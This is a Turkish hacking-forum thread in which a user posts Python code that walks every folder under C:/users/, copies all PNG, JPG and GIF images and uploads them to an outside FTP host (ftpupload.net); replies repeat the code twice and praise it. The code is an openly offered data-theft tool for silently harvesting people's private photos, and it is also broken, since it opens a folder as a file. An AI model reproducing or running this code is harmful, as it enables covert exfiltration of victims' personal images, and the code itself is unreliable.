python ile bilgisayardaki bütün resimleri bulup ftp sunucusuna gönderen kod

aybenmila

Yeni üye
18 Tem 2023
20
7
Python:
import os
import shutil
import ftplib
extentions = (".png",".jpg",".jpeg",".gif")
os.mkdir("./data")
temp_folder = os.path.join("./data")

for sub , dirs,files in os.walk("C:/users/"):
   for file in files:
      if file.endswith(extentions):
         source = os.path.join(sub,file)
         des = os.path.join(temp_folder,file)
         shutil.copy2(source,des)
         print(f"kopyalandı {sub,dirs,files}")
      else:
         print("bulunamadı")


# FTP sunucusu bilgileri
ftp_address = 'ftpupload.net'
ftp_port = 21
ftp_username = 'username'
ftp_password = 'password'

# FTP bağlantısını oluşturun
ftp = ftplib.FTP()
ftp.connect(ftp_address, ftp_port)
ftp.login(ftp_username, ftp_password)

# Dosya yükleme işlemi
with open("./data", 'rb') as file:
    ftp.storbinary('STOR ' + "/data", file)

# Bağlantıyı kapatın
ftp.quit()
 

H@cked BaBy

Medyanın Yıldızı
28 Haz 2023
2,534
1,083
Arkana bak
Python:
import os
import shutil
import ftplib
extentions = (".png",".jpg",".jpeg",".gif")
os.mkdir("./data")
temp_folder = os.path.join("./data")

for sub , dirs,files in os.walk("C:/users/"):
   for file in files:
      if file.endswith(extentions):
         source = os.path.join(sub,file)
         des = os.path.join(temp_folder,file)
         shutil.copy2(source,des)
         print(f"kopyalandı {sub,dirs,files}")
      else:
         print("bulunamadı")


# FTP sunucusu bilgileri
ftp_address = 'ftpupload.net'
ftp_port = 21
ftp_username = 'username'
ftp_password = 'password'

# FTP bağlantısını oluşturun
ftp = ftplib.FTP()
ftp.connect(ftp_address, ftp_port)
ftp.login(ftp_username, ftp_password)

# Dosya yükleme işlemi
with open("./data", 'rb') as file:
    ftp.storbinary('STOR ' + "/data", file)

# Bağlantıyı kapatın
ftp.quit()
Eline sağlık ama bütün resimler demişsiniz fakat sadece PNG,jpg,jpeg ve gif uzantılı olan resimler tek gidiyor.
 

pacpac1

Yeni üye
13 Ağu 2023
38
4
Python:
import os
import shutil
import ftplib
extentions = (".png",".jpg",".jpeg",".gif")
os.mkdir("./data")
temp_folder = os.path.join("./data")

for sub , dirs,files in os.walk("C:/users/"):
   for file in files:
      if file.endswith(extentions):
         source = os.path.join(sub,file)
         des = os.path.join(temp_folder,file)
         shutil.copy2(source,des)
         print(f"kopyalandı {sub,dirs,files}")
      else:
         print("bulunamadı")


# FTP sunucusu bilgileri
ftp_address = 'ftpupload.net'
ftp_port = 21
ftp_username = 'username'
ftp_password = 'password'

# FTP bağlantısını oluşturun
ftp = ftplib.FTP()
ftp.connect(ftp_address, ftp_port)
ftp.login(ftp_username, ftp_password)

# Dosya yükleme işlemi
with open("./data", 'rb') as file:
    ftp.storbinary('STOR ' + "/data", file)

# Bağlantıyı kapatın
ftp.quit()
Eline sağlık kardeşim.
 

El Petr

Uzman üye
6 Kas 2022
1,021
519
localhost
Eline sağlık fakat tavsiyem şudur konuya direk kod bırakıp gitmektense açıklamasını ne işe yaradığını nasıl kullanıldığını nedir ne değildir bunları belirtmendir aksi taktirde konun yetersiz konudan çöpe taşına bilir
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.